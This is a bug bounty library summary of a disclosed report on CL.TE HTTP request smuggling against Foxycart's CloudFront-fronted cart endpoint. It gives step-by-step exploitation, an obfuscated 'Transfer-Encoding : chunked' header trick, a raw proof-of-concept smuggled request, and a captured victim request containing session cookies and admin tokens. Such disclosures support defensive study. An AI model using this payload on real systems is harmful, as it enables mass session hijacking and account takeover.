# HTTP Desync Attack (Request Smuggling) - Mass Session Hijacking

CL.TE request smuggling on Foxycart's CloudFront-fronted cart endpoint let an attacker capture subsequent victims' full requests including session cookies, enabling mass session hijacking.

- Payout: $500
- Severity: critical
- Program: Foxy.io Ecommerce Platform
- Found by: AnkitSingh
- Disclosed: 2020-03-25
- Write-up quality: 8/10
- Original: https://bugcrowd.com/disclosures/7b175e9d-8ff0-47e3-bd33-a8b1e51aa499/http-desync-attack-request-smuggling-mass-session-hijacking
- Library page: https://bugbountylibrary.com/r/bc%3A9547432b-134c-4c4c-8126-6072632114de
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:bounty platform:bugcrowd sev:critical tech:cdn technique:chained technique:race-window vuln:request-smuggling

**Target:** Foxycart cart endpoint (*-bugcrowd.foxycart.com) behind CloudFront CDN
**Root cause:** Front-end (CloudFront) used Content-Length while back-end used Transfer-Encoding: chunked, so a smuggled prefix desynchronized the connection and the next victim's request was appended into the attacker's cart POST body.
**Steps:**
1. Send a POST /cart with both `Content-Length: 171` and `Transfer-Encoding : chunked` (note space before colon) containing a chunked body ending in `color=` as the last param of the smuggled POST.
2. The chunked body terminates with `0` then a smuggled `POST /cart ...` prefix, leaving the back-end waiting for more body bytes.
3. Victim's next POST request on the shared back-end connection gets appended as the value of the `color` parameter.
4. Attacker visits `https://instance.foxycart.com/cart` and reads the victim's full request (headers, cookies incl. `fcsid`, admin TrustedBrowser tokens) stored in the cart.
**How found:** Recognized CL.TE desync pattern from PortSwigger research, tested dual Content-Length/Transfer-Encoding headers against CloudFront-fronted Foxycart, and observed that a trailing empty `color=` param absorbed the next request.
**Exploitation:** Attacker replays the ambiguous CL.TE request repeatedly (Turbo Intruder) against their own instance; each smuggled request poisons the back-end connection so the next legitimate user's request is captured into the attacker's cart. Attacker then loads /cart to harvest victim cookies and admin TrustedBrowser URLs, achieving session hijack with zero victim interaction.
**Escalation:** Captured `fcsid` cookies allow buyer session takeover; captured admin.foxycart.com TrustedBrowser_complete URLs with access/ua tokens could enable admin account takeover.
**Insight:** When a CDN fronts an app, test CL.TE/TE.CL ambiguity with obfuscated `Transfer-Encoding : chunked` (space before colon) and craft the smuggled body so the last form parameter is empty — the victim's request then lands in that parameter and is rendered back in a user-visible page like /cart.

## Proof of concept (copied exactly from the original report)

**Smuggled chunked request with trailing GET**

```
POST /cart HTTP/1.1

Host: instance.foxycart.com

User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: █████████████████████████

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 171

Transfer-Encoding : chunked

30

name=Cool%20Example&price=10&color=red&code=4520

0

GET /cache?url=https://s3.envato.com/files/224212193/You%20Have%20Been%20Hacked%20590x332.jpg HTTP/1.1

X-Foo: X
```

**Victim POST request with cookies to be captured**

```
POST /x HTTP/1.1

Host: instance.foxycart.com

User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: optimizelyEndUserId=oeu1579830073961r0.5233278836804898; optimizelySegments=%7B%22234346863%22%3A%22search%22%2C%22234587425%22%3A%22false%22%2C%22234696064%22%3A%22ff%22%7D; optimizelyBuckets=%7B%7D; __utma=91412365.2063671220.1579830076.1584894698.1584901658.8; __utmz=91412365.1584549558.4.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=https%3A%2F%2Fadmin.foxycart.com%2Fadmin.php%3FThisAction%3DTrustedBrowser_complete%26access%3DYTMzZDIxM2I2YWVhYTA3MmIzZTRlMmE1MGE0MjhmZThkNGYwYTk3MTA5YTEyNTA5MzU2MzNlMGZhNTNmYWNjYw%3D%3D%26ua%3DZmZlNzQwNGExOTI1YjMyZDJjMjA4YWJlY2QyMDNjYzZjZGI1NTRjNTM2NGUxNThiNjVhOTZkNjVkYmI0NmY1MA%3D%3D; __utmv=91412365.|1=user_type=programmer=1^2=trial=0.1=1; fcsid=fsrg6emsh70ef882u6a2gv6f20

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 7

abc=123
```

